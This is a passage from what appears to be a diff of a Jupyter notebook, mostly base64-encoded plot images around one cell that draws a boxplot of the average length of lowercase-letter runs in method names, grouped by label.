sALwM+EV7Yl0+b8Ke5vLa5wI/bUmsxx1bxvX8qjGVVlKMSHtODwm+NKfZcy3p/7oc2x7Y\ntPz5xA7nQTF07KFtx/7QYQXTm8r3rdYTz6PL6+/XG5CZ95bzrTfvcM2VHY71+jxJ0tx1v/YjM28p\n88erOpx7Cy1tSkTsALyXYvpRe9s0mR0wFlIMM//WJK59CEUCfHl7Rfk7/YmifZ2M9wHPBJYBN0XE\neRRfrn85M2+f5D2lWcnkWlI3rd+SvxlYPsF5f2grd1vBdDq+9Z7p50mSZoeJ2o+uK3FHxKYUc5A3\nAj4EXArcRpFUv51i5Ncg69gLHhHr5AaZ+ZuIeAKwb/naC/g0cHREPDMzO33BLc1JJteSngB8vcMx\nKL7R37j8+c7MPGcG4lkB7BsRm2TmHeMHI+KBFN+63zwDMUiS1Ml4UrovsA3wD+OLf46LiPdN8t43\nUvSOj07i2hsokvud2isiYguKWH/acvjmsm5BZq5sOb59p5uXo9H+t3wREc8Gvgm8EThiEvFKs5Jz\nriW9NiI2Gy9ExObAP1E08OcBZwLXA28tG+j7iYiNym/w63IGxcqob2g7fjjF6t+SJPXbeM/2/f6W\njogDgKdNcE231bkpFwv7IvCEiDi0SjDltV8HnhwR7btkvJViFNfpLcd+Vb7v33bum9rvPcF2Wz8r\n39f5u0Cay+y5lnQDcGG5p+X4VlyPAA7LzLuh2N+SYq7Vr8oVU39LMS9sR4oFUg6iGB43bipDsU+g\n2EbrPRHxGIoFZHam2O7rNxSJtyRJ/TDevn0f+BPw3xExAlxL0eP8Kooh4n/d5dpu3gnsA5xQJuo/\nKK/7G2BeZh7S5dq3UyTLyyLiExRt9TMp2s/zgNYe9i9SzKX+VETsSPGF+t/SeZ2S70TELRS/8+8o\n2v8xiiHwn+3hd5LmDJNraW5L4C0Uje/rgK0pvs1+ZWZ+ac1Jmd+JiKdSfPv9KoqFU26hSHb/m+IP\nidZ7dv12vkMMawuZ90TEvsB/As+j+KPgIootvD4NzO92fYU6SdLcVrWNWNO+ZebKsof4A8DrKf6m\nvphi7+fDgCdOdG23Y+V9d6dIlF9A8QX2bRQLlX10PddeExG7AsdQtNULKJLh9wHvad1GKzNvi4i/\nAz5YPut24DTglRTte6tPULTFrwG2pFgw9KfA61q24ZQERJdV/SVpYETEPIr5aD/MzL/rdzySJElS\nK+dcSxo4EdHeOw3FPPDNgbNmOBxJkiRpvey5ljRwIuJzwIbAD4G/ALsDL6cYhv7k1lXEJUmSpEFg\nci1p4ETEwRRzwB8HbEqxaMy3gH/PzBv6GZskSZLUicm1JEmSJElT5JxrSZIkSZKmyORakiRJkqQp\nMrmWJEmSJGmKTK4lSZIkSZoik2tJkiRJkqbo/wNya6sWXG6vQwAAAABJRU5ErkJggg==\n", + "text": [ + "" + ] + } + ], + "prompt_number": 148 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot('method_name_lowercase_run_avg', 'label')\n", + "plt.ylabel('Avg length of lower case letters')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 149, + "text": [ + "" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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\n/7Fte023xz+PjY0xla